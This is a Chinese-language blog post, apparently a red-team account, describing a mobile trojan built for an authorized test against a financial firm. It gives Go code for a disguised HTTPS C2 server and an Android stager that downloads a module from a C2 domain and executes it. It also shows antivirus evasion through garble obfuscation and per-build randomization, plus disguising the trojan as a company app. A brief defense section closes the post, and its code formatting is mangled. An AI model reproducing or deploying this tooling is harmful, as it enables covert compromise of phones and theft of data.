<pre><code class="language-markdown">## 0x01 一个“诡异”的渗透案例
有一次,我接到一个金融公司的授权渗透测试项目,目标是对他们的内网进行全面的安全检查。起初,我打算从传统的钓鱼邮件切入,但目标公司已经部署了非常严格的邮件网关,不仅过滤恶意附件,还能分析邮件内容中的钓鱼链接。而且,他们的终端安全防护方案包括了主流的AV(杀毒软件)和EDR(终端检测响应),这让我意识到必须换一种思路。
最终,我决定利用移动端作为突破口,因为公司的高管们常常使用手机接收邮件和处理业务。这为我提供了一个绝佳的攻击面。而为了绕过移动端的安全检测,我需要构造一个高度隐蔽的木马,并且在投递时确保它具备免杀能力。
接下来,我会详细分享整个实战过程,包括木马的开发、免杀技巧以及如何实现C2通信的隐蔽化。
---
C2通信的隐匿艺术
在构造手机木马之前,最重要的一点是设计一个隐蔽且高效的通信渠道。因为现代的安全设备对于异常流量的检测已经非常敏感,如果C2通信被发现,那么整个渗透行动就会暴露。
选择通信协议
为了规避流量检测,我选择了一种非常常见的流量伪装方式:伪装成HTTPS流量。具体来说,我会将C2通信的流量伪装成访问合法网站的行为。例如,使用真实的域名和证书,通信内容通过TLS加密,让流量看起来完全正常。
C2服务端代码实现
以下是基于Go语言编写的一个简单C2服务端代码,它模拟了一个合法的HTTPS服务,同时接收来自木马的指令和数据上传。 </code></pre>go package main
import ( "crypto/tls" "fmt" "io/ioutil" "log" "net/http" )
func handleAgentRequests(w http.ResponseWriter, r *http.Request) { // 从请求中提取木马提交的数据 if r.Method == "POST" { body, _ := ioutil.ReadAll(r.Body) fmt.Printf("[+] Received data: %s\n", string(body)) // 给木马返回指令 w.Write([]byte("COMMAND:EXFIL")) } else { w.Write([]byte("OK")) } }
func main() { http.HandleFunc("/api", handleAgentRequests)
// 使用合法证书启动HTTPS服务 certFile := "server.crt" keyFile := "server.key"
server := &http.Server{ Addr: ":443", TLSConfig: &tls.Config{ MinVersion: tls.VersionTLS12, }, }
fmt.Println("[*] C2 server is running on https://localhost:443") log.Fatal(server.ListenAndServeTLS(certFile, keyFile)) } <pre><code> 这里的关键点:
- 使用了合法的TLS证书,防止流量被拦截并识别为不安全。
- 请求接口设计为
/api,看起来像普通的API交互,避免引起怀疑。
---
Payload构造的细节
接下来就是构造手机木马的过程了。为了实现免杀,我决定采用一种分离式加载的设计:初始的Payload只负责加载核心模块,而核心模块通过C2服务器动态下载并加载到内存中。这种方式的好处是,Payload本身的体积很小,几乎不会引起杀软的注意。

初始Payload代码实现
以下是一个基于Go语言的安卓初始Payload,它会在运行时从C2服务器下载核心模块并加载到内存中。 </code></pre>go package main
import ( "bytes" "fmt" "io/ioutil" "net/http" "os" "os/exec" )
func main() { // C2服务器地址 C2_URL := "https://your-c2-domain.com/api"
// 下载核心模块 resp, err := http.Get(C2_URL) if err != nil { fmt.Printf("[-] Failed to connect to C2: %s\n", err) return } defer resp.Body.Close()
coreModule, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Printf("[-] Failed to read core module: %s\n", err) return }
// 保存核心模块到临时文件 tmpFile := "/data/local/tmp/core_module" err = ioutil.WriteFile(tmpFile, coreModule, 0755) if err != nil { fmt.Printf("[-] Failed to write core module: %s\n", err) return }
// 加载核心模块 cmd := exec.Command(tmpFile) var out bytes.Buffer cmd.Stdout = &out cmd.Stderr = &out err = cmd.Run() if err != nil { fmt.Printf("[-] Failed to execute core module: %s\n", err) return }

fmt.Printf("[+] Core module output: %s\n", out.String()) } <pre><code> ---
绕过杀软的秘密武器
在完成Payload的初始开发后,我发现一个问题:即便Payload体积很小,但仍然会被部分杀软查杀。这是因为现代杀软会对二进制文件进行静态分析,哪怕没有恶意行为,只要特征匹配就会触发警报。
为了绕过这些检测,我使用了以下几种免杀策略。
代码混淆
通过在编译之前对Go代码进行混淆,可以极大降低特征匹配的可能性。我使用了一个开源的Go代码混淆工具garble,如下所示: </code></pre>shell go install mvdan.cc/garble@latest garble build -o payload-obfuscated main.go <pre><code>
动态编译
为了让每个Payload都独一无二,我还实现了一个动态编译脚本,每次生成Payload时都会随机修改一些代码变量和结构,从而生成完全不同的二进制文件。 </code></pre>bash
!/bin/bash
替换随机变量名
sed -i "s/PAYLOAD_ID/$(openssl rand -hex 4)/g" main.go
编译Payload
go build -o payload main.go <pre><code> ---
攻击链中的那些坑
在测试过程中,我遇到了许多问题。比如:
- 某些安卓设备默认会拦截未知来源的应用安装。
- 部分目标设备的网络环境无法正常访问C2服务器。
为了解决这些问题,我通过伪装木马为合法应用(比如公司内部的OA App)以及使用DNS隧道技术来穿透可能的网络限制。
---
安全团队如何应对?
虽然本文分享了攻击者的视角,但站在甲方安全团队的角度,我们也可以从中学习到一些防御思路:
- 流量检测:对终端设备的流量进行深度分析,尤其是HTTPS流量中的异常行为。
- 行为分析:通过监控应用行为(比如动态加载模块或访问可疑域名),识别潜在的木马活动。
- 文件扫描:对企业内部流通的APK和其他可执行文件进行严格的安全检查。
---
个人心得

开发手机木马并实现免杀,并不是一个简单的过程。在实际操作中,很多时候需要与目标环境“赛博博弈”。但与此同时,我也深刻体会到攻防对抗的本质——攻者无界,守者有责。希望这篇文章能让大家更深入地了解攻击者的思路,从而更好地保护自己的数字资产。</code></pre>